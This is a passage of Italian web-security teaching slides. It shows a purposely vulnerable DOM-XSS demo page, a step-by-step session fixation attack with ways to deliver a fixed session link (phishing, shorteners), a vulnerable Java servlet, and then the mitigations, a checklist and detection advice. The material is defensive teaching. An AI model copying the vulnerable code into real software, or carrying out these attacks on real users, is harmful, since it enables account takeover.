8. L'attaccante riceve i dati esfiltrati (es. cookie) e può tentare di impersonare la vittima o sfruttare l'accesso ottenuto.

Salvare questo file pag.htm e aprirlo con un browser

pag.htm

</> pag.htm 〉 No Selection

```
1  <!-- vulnerable_dom.html -->
2  <!doctype html>
3  <html>
4  <head>
5    <meta charset="utf-8">
6    <title>Demo DOM XSS</title>
7  </head>
8  <body>
9    <h1>Blog</h1>
10   <div id="comments"></div>
11   <script>
12     const fragment = location.hash.substring(1);
13     document.getElementById('comments').innerHTML = '<p>Commento utente: ' + fragment + '</p>';
14   </script>
15 </body>
16 </html>
```

DOM Based XSS: esecuzione e funzionamento

1. Aprire in un browser (file locale o server) questo URL (URL-encoded):
   - file:///.../pag.htm#ciaooooooo
2. Risultato: il browser visualizza ciaooooooo perché location.hash è stato inserito in innerHTML senza escape.

Perché funziona?

- location.hash è **solo** locale al browser (non viene inviata al server).
- Il codice prende quel valore e lo concatena in una stringa HTML.
- innerHTML lo interpreta come HTML e crea nodi DOM, quindi <script> viene eseguito.
- Poiché lo script è eseguito nello stesso origin, può leggere document.cookie (se cookie non HttpOnly), fare richieste XHR/fetch, manipolare il DOM, ecc.

Attacchi Session Fixation

1. Concetti base: sessione, session id, come vengono trasportati (cookie/URL)
2. Definizione di session fixation
3. Flusso d'attacco dettagliato (step-by-step)
4. Vettori usati dagli attaccanti (URL, XSS, sottodomini)
5. Esempi concreti in Java/Servlet (vulnerabile vs mitigato)
6. Difese pratiche e checklist operativa
7. Rilevazione, logging e remediation

Che cos'è una sessione (concetti base)

- Sessione = spazio di lavoro sul server associato a un client (es. browser).
- Server crea uno 'state' per il client e lo identifica con un session id (stringa unica).
- Session id = chiave per recuperare dati della sessione (es. utente autenticato, carrello).

Come viene trasportato il session id

Modalità comuni:

- Cookie (es. JSESSIONID): il browser lo invia automaticamente ad ogni richiesta.
- URL Rewriting (es. ;jsessionid=… o param in query): meno sicuro, evitare.
- Altri meccanismi (param POST/GET): da evitare per session id sensibili.

Definizione di Session Fixation

Fixation = fissare/imporre

Session fixation: l'attaccante *fissa* (impone) in anticipo l'ID di sessione che la vittima poi userà.

- L'attaccante crea o fornisce un session-ID noto e induce la vittima ad usarlo; quando la vittima si autentica quell'ID diventa una sessione autenticata.
- **Risultato:** l'attaccante accede usando lo stesso ID → presa del controllo (takeover) della sessione senza aver rubato il cookie della sessione

Possibili conseguenze di un attacco di Session Fixation

- Accesso non autorizzato all'account vittima (session takeover).
- Possibile furto di dati personali, esecuzione di transazioni, abuso dei privilegi.
- Spesso invisibile alle vittime fino a quando non avviene un'azione malevola.

Session Fixation: Prerequisiti per un attacco successful

1. **Attaccante** visita https://sito.example/ → riceve Set-Cookie: JSESSIONID=A123.
2. **Attaccante** crea link: https://sito.example/;jsessionid=A123 e lo invia alla vittima (email, chat).
3. **Vittima** clicca il link: il browser invia richieste usando la sessione A123 (URL rewriting fa sì che il server associ la richiesta a quella sessione).
4. **Vittima** effettua login con le sue credenziali. Il server **associa l'utente autenticato** alla sessione A123 (se non rigenera l'id).
5. **Attaccante** ora richiede https://sito.example/ usando la sessione A123 (con il cookie o con lo stesso link) e ottiene l'accesso come vittima.

Vettori comuni per imporre una session id

1. URL Rewriting: link con ;jsessionid=ATTACKERID
   - se il server accetta session ID tramite URL, l'attaccante può forzarlo così.
2. Impostazione cookie via JavaScript (XSS o sottodominio compromesso)
   - se il cookie non è HttpOnly e c'è XSS, l'attaccante può sostituire la sessione.
3. Sottodominio vulnerabile o risposte Set-Cookie da un dominio controllato
   - se un sottodominio è vulnerabile, l'attaccante può impostare cookie validi per il dominio principale.
4. Form/redirect che imposta session id direttamente
   - se il server accetta parametri come ID di sessione, l'attaccante può imporre il suo.

Session fixation: invio del link

L’attaccante può **consegnare** il link in moltissimi modi pratici, alcuni molto banali da mettere in atto:

- **Phishing/Email** — un’email che sembra legittima (“Problema al tuo account, clicca qui per verificare”) contiene il link.
- **Messaggistica/Chat** — WhatsApp, Telegram, Slack, LinkedIn: messaggi diretti con link.
- **Social network / post pubblici** — post o commenti con link ingannevoli.
- **URL shortener** — accorcia il link (bit.ly, tinyurl) per nascondere che contiene ;jsessionid=....
- **Page/Forum comment injection** — pubblica il link su forum o commenti che la vittima legge.
- **Malvertising / banner** — annuncio che porta a una pagina con il parametro sessione.
- **Compromissione di un sottodominio o terza parte** — serve un vettore più tecnico ma efficace (es. subdomain takeover).
- **Link incorporato in pagine “di supporto” o ticket** — messaggi che inducono all’azione (es. “reset password”, “verifica pagamento”).

Session fixation: perché l’utente dovrebbe cliccare?

Le ragioni sono quasi sempre **social engineering** o fiducia contestuale:

- Il link appare **da un mittente o sito affidabile** (es. collega, servizio noto).
- Il testo induce all’urgenza: “Verifica ora”, “Pagamento bloccato”, “Accesso sospetto”.
- L’URL mascherato (shortener) o visualmente simile al dominio legittimo inganna l’utente.
- La vittima non è attenta o non conosce la tecnica; molti utenti cliccano prima di pensare.
- Su mobile/desktop spesso non si vede il dettaglio del parametro ;jsessionid=... e quindi non si sospetta nulla.

Ma un attaccante deve essere loggato per ottenere un sessione id?

- No: **l'attaccante non deve per forza loggarsi**.
  - Molte applicazioni assegnano un session id già alla prima visita (sessione anonima). L'attaccante può ottenere quel valore semplicemente visitando il sito, creare una URL o un payload che contiene quell'id e far sì che la vittima lo usi. Quando la vittima poi esegue il login usando *quel* session id, la sessione diventa autenticata ma l'attaccante conosce l'id e può riusarlo per accedere.

Ma l'ID della sessione non dovrebbe scadere? Quando il fixation funziona lo stesso?

- Dipende dalle impostazioni del server e dal tipo di sessione. Le condizioni pratiche:
  - **Timeout/server-side:** molte sessioni scadono dopo 15–30 minuti di inattività. Se l'attaccante crea la sessione *subito prima* di inviare il link e la vittima accede entro il TTL, fixation funziona.
  - **Attacco "tempestivo":** l'attaccante visita il sito, ottiene JSESSIONID=A, invia link immediatamente; la vittima clicca rapidamente → sessione ancora valida.
  - **Sessioni persistenti / "remember-me":** se l'app ha cookie persistenti o meccanismi di "ricordami", la sessione può durare giorni o mesi → fixation è più semplice.
  - **Server che rigenera l'ID al login:** se il server **rigenera** l'ID quando l'utente effettua il login (mitigazione corretta), fixation fallisce.
  - **Policy del container:** alcuni server invalidano sessioni "non usate" o rigettano session id prese dalla URL; comportamento varia per container/config.

Esempio di codice vulnerabile (Java Servlet)

```
1  // LoginServlet (vulnerabile) - NON rigenera l'ID di sessione
2  HttpSession session = req.getSession(true);
3  // -> getSession(true) ritorna la sessione corrente se ne esiste già una,
4  //    altrimenti ne crea una nuova.
5  //    Se l'attaccante era riuscito a "fissare" l'ID di sessione (es. via link con ;jsessionid
6  //    o tramite un cookie impostato), allora getSession(true) restituisce proprio
7  //    quella sessione fissata dall'attaccante.
8
9  session.setAttribute("user", username);
10 // -> l'app associa l'utente autenticato (username) alla sessione esistente.
11 //    Questo significa che la sessione (con lo stesso ID conosciuto dall'attaccante)
12 //    ora è una sessione autenticata: l'attaccante che conosce l'ID può riutilizzarlo
13 //    per impersonare l'utente. Qui manca la rigenerazione dell'ID dopo il login.
14
15 resp.sendRedirect("/home");
16 // -> semplice redirect a pagina interna; non c'è alcuna operazione
17 //    che cambi l'ID della sessione o invalidi la sessione precedente.
```

Session fixation: mitigazione essenziale

Rigenerare l'ID di sessione dopo l'autenticazione:

- **Opzione A**: invalidare e creare nuova sessione (compatibile): old.invalidate(); new = req.getSession(true);
  - **Concetto:** distruggere la sessione corrente (quella che potrebbe essere stata fissata dall'attaccante) e creane una nuova con nuovo ID. Se vuoi preservare qualche attributo "sicuro", copiali manualmente dalla vecchia alla nuova sessione.
- **Opzione B**: usare request.changeSessionId() se disponibile (preserva attributi).
  - **Concetto:** il container genera un nuovo ID sessione e lo sostituisce sul cookie; gli attributi della sessione rimangono intatti. È il metodo più pulito quando è disponibile.

Session fixation: invalidare e creare nuova sessione (opzione A)

```java
// Dopo autenticazione avvenuta (username verificato)
HttpSession oldSession = request.getSession(false); // non crea se non esiste
Map<String,Object> preserved = new HashMap<>();

if (oldSession != null) {
    // COPIA attributi che vuoi preservare (solo quelli "sicuri")
    Enumeration<String> names = oldSession.getAttributeNames();
    while (names.hasMoreElements()) {
        String name = names.nextElement();
        Object value = oldSession.getAttribute(name);
        // esempio: preserva solo attributi non sensibili / necessari (ex: prefUserLocale)
        if ("preferredLocale".equals(name) || "nonSensitiveInfo".equals(name)) {
            preserved.put(name, value);
        }
    }
    // Invalida la sessione precedente - rende il vecchio ID non più valido
    oldSession.invalidate();
}

// Crea una nuova sessione con nuovo session id
HttpSession newSession = request.getSession(true);

// Ripristina gli attributi "sicuri" (se necessario)
for (Map.Entry<String,Object> e : preserved.entrySet()) {
    newSession.setAttribute(e.getKey(), e.getValue());
}

// Imposta lo stato di autenticazione
newSession.setAttribute("user", username);

// Prosegui (redirect, risposta, ecc.)
response.sendRedirect("/home");
```

Cosa fa il container

- Genera un nuovo identificatore sicuro per la sessione.
- Imposta il nuovo cookie di sessione (es. JSESSIONID=nuovoValore) nella risposta; il browser lo applicherà.
- In molti container gestisce anche la replica/propagazione nelle session-store di cluster, ma verifica dettaglio implementazione.

```
1  // Dopo autenticazione avvenuta
2  HttpSession session = request.getSession(true); // ottieni/crea
3  // Esegui la rotazione dell'ID (container-side)
4  request.changeSessionId(); // genera nuovo ID, mantiene attributi
5  // ora la sessione ha un nuovo ID che il client riceverà nel Set-Cookie
6  session.setAttribute("user", username);
7  response.sendRedirect("/home");
```

Session fixation: altre contromisure importanti

- Disabilitare URL rewriting (preferire cookie per sessioni).
  - L'URL rewriting è una tecnica tramite la quale l'identificatore di sessione (session id) viene passato nell'URL invece che in un cookie. Quando il browser non accetta cookie, il server può ricorrere a questa alternativa per mantenere lo "state" della sessione tra richieste: l'ID viene inserito nella URL (spesso come ;jsessionid=...) o come parametro di query.
- Impostare cookie sessione con HttpOnly; Secure; SameSite.
  - **HttpOnly**: impedisce l'accesso a document.cookie da JavaScript → riduce esfiltrazione via XSS (non impedisce XSS, ma limita furto cookie).
  - **Secure**: il cookie viene inviato solo su HTTPS → evita sniffing over HTTP.
  - **SameSite**: limita l'invio del cookie in contesti cross-site → riduce rischio CSRF e alcuni tipi di fixation via cross-site.

Session fixation: altre contromisure importanti

- Limitare TTL delle sessioni e timeout di inattività. Linee guida pratiche:
  - Session interactive: 15–30 minuti è una buona regola per molte applicazioni.
  - Azioni sensibili (pagamenti, modifica credenziali): richiedi ri-autenticazione o un controllo addizionale anche se la sessione è attiva.
  - Per "remember-me" token: usare TTL molto più lungo ma **separato** dalla sessione, gestito come token revocabile server-side.
  - Esempio 1:
    - HttpSession session = request.getSession();
    - session.setMaxInactiveInterval(15 * 60); // secondi
  - Esempio 2:
    - <session-config> // file web.xml
    - <session-timeout>15</session-timeout>
    - </session-config>
- Evitare che terze parti possano impostare cookie per il dominio principale (proteggere sottodomini).

Session fixation: altre contromisure importanti

- Evitare che terze parti possano impostare cookie per il dominio principale (proteggere sottodomini).
  - Se un sottodominio compromesso (o terza parte) può impostare cookie con Domain=.example.com, può imporre cookie di sessione/fissare ID, facilitando fixation o altri abusi.
  - **Cosa fare concretamente**
    - **Non usare Domain=.example.com** se possibile. Preferire cookie con prefisso __Host- (che non permette Domain attribute) o non specificare Domain (così cookie appartiene solo al host corrente).
    - **Proteggi i sottodomini**: evita hosting non gestito o servizi che permettono takeover (scade DNS, hosting non rinnovato).
    - **Isola terze parti**: minimizzare l'inclusione di script da terzi e usare Subresource Integrity, CSP, e politiche per iframe.
    - **Policy di cookie**: assicurati che il deploy non consenta alle app su sottodomini di settare cookie per il dominio principale.

Session fixation: Checklist operativa

1. Rigenerare session ID su login (mandatory).
2. Disabilitare URL session id / URL rewriting.
3. Impostare cookie HttpOnly, Secure, SameSite.
4. Abilitare logging e monitoraggio per session anomaly.
5. Proteggere sottodomini e terze parti.

Session fixation: domande frequenti

- Q: 'Se imposto HttpOnly sono al sicuro?’
  - A: HttpOnly impedisce a JavaScript nel browser di leggere il cookie (es. document.cookie) e quindi riduce il rischio di furto del cookie via XSS.
  - **Non è però sufficiente da solo**: non previene XSS, non impedisce session fixation via URL o Set-Cookie da sottodomini compromessi, e non sostituisce la necessità di rigenerare l’ID dopo il login. Usalo insieme a Secure, SameSite, rotazione ID e altre misure.
- Q: 'ChangeSessionId è sempre disponibile?’
  - A: Disponibile in Servlet 3.1+; verifica versione container.
- Q: 'URL rewriting = sempre disabilitato?’
  - A: Sì, preferire cookie; disabilita se possibile.

Session fixation: domande frequenti

- Q: *SameSite risolve i problemi di session fixation e CSRF?*
  - A: *SameSite* aiuta a ridurre l'invio del cookie in contesti cross-site (quindi riduce alcuni vettori CSRF e alcuni tipi di fixation via link cross-site), ma **non è una panacea**. Non sostituisce la rotazione dell'ID dopo il login né i token CSRF per azioni sensibili.
- Q: *Se uso invalidate() per creare nuova sessione perdo dati utente?*
  - A: invalidate() cancella tutti gli attributi della sessione. Se devi preservare qualche dato non sensibile (es. preferenze UI), copiali manualmente in una struttura temporanea e ripristinali dopo la creazione della nuova sessione. In alternativa usa changeSessionId() se disponibile (mantiene gli attributi).

Session fixation: Rilevazione e log per identificare attacchi

- Monitorare uso dello stesso session id da IP/geografie diverse.
- Loggare creazione sessione, login e IP/user-agent associati.
- Allerta su accessi con session id recenti usati dopo login da IP diversi.